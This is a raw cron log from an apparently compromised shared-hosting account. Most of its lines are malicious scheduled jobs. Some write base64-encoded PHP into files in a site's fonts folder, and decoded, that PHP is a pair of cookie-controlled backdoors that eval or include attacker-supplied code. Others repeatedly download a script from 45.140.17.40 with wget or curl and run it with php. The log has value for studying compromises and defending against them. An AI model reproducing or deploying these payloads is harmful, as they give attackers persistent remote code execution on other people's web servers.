Sep 11 19:02:01 ip-184-168-122-23 CROND[21247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:02:01 ip-184-168-122-23 CROND[21246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:02:01 ip-184-168-122-23 CROND[21248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:03:02 ip-184-168-122-23 CROND[21336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:03:02 ip-184-168-122-23 CROND[21337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:03:02 ip-184-168-122-23 CROND[21335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:03:02 ip-184-168-122-23 CROND[21338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:04:01 ip-184-168-122-23 CROND[21509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:04:01 ip-184-168-122-23 CROND[21512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:04:01 ip-184-168-122-23 CROND[21510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:04:01 ip-184-168-122-23 CROND[21514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:04:01 ip-184-168-122-23 CROND[21511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:05:01 ip-184-168-122-23 CROND[21607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:05:01 ip-184-168-122-23 CROND[21608]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:05:01 ip-184-168-122-23 CROND[21612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:05:01 ip-184-168-122-23 CROND[21611]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:05:01 ip-184-168-122-23 CROND[21609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:05:01 ip-184-168-122-23 CROND[21610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:05:01 ip-184-168-122-23 CROND[21613]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 19:06:01 ip-184-168-122-23 CROND[21716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:06:01 ip-184-168-122-23 CROND[21715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:06:01 ip-184-168-122-23 CROND[21719]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:06:01 ip-184-168-122-23 CROND[21717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:06:01 ip-184-168-122-23 CROND[21718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:07:01 ip-184-168-122-23 CROND[21812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:07:01 ip-184-168-122-23 CROND[21811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:07:01 ip-184-168-122-23 CROND[21813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:07:01 ip-184-168-122-23 CROND[21814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:08:01 ip-184-168-122-23 CROND[21900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:08:01 ip-184-168-122-23 CROND[21901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:08:01 ip-184-168-122-23 CROND[21903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:08:01 ip-184-168-122-23 CROND[21905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:08:01 ip-184-168-122-23 CROND[21907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:09:01 ip-184-168-122-23 CROND[22085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:09:01 ip-184-168-122-23 CROND[22089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:09:01 ip-184-168-122-23 CROND[22087]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 19:09:01 ip-184-168-122-23 CROND[22086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:09:01 ip-184-168-122-23 CROND[22088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:10:01 ip-184-168-122-23 CROND[22198]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 19:10:01 ip-184-168-122-23 CROND[22201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:10:01 ip-184-168-122-23 CROND[22203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:10:01 ip-184-168-122-23 CROND[22205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:10:01 ip-184-168-122-23 CROND[22206]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:10:01 ip-184-168-122-23 CROND[22208]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:10:01 ip-184-168-122-23 CROND[22202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:10:01 ip-184-168-122-23 CROND[22207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:11:01 ip-184-168-122-23 CROND[22308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:11:01 ip-184-168-122-23 CROND[22310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:11:01 ip-184-168-122-23 CROND[22311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:11:01 ip-184-168-122-23 CROND[22312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:12:01 ip-184-168-122-23 CROND[22401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:12:01 ip-184-168-122-23 CROND[22404]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:12:01 ip-184-168-122-23 CROND[22403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:12:01 ip-184-168-122-23 CROND[22405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:12:01 ip-184-168-122-23 CROND[22406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:13:01 ip-184-168-122-23 CROND[22493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:13:01 ip-184-168-122-23 CROND[22496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:13:01 ip-184-168-122-23 CROND[22494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:13:01 ip-184-168-122-23 CROND[22495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:14:01 ip-184-168-122-23 CROND[22673]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:14:01 ip-184-168-122-23 CROND[22675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:14:01 ip-184-168-122-23 CROND[22676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:14:01 ip-184-168-122-23 CROND[22679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
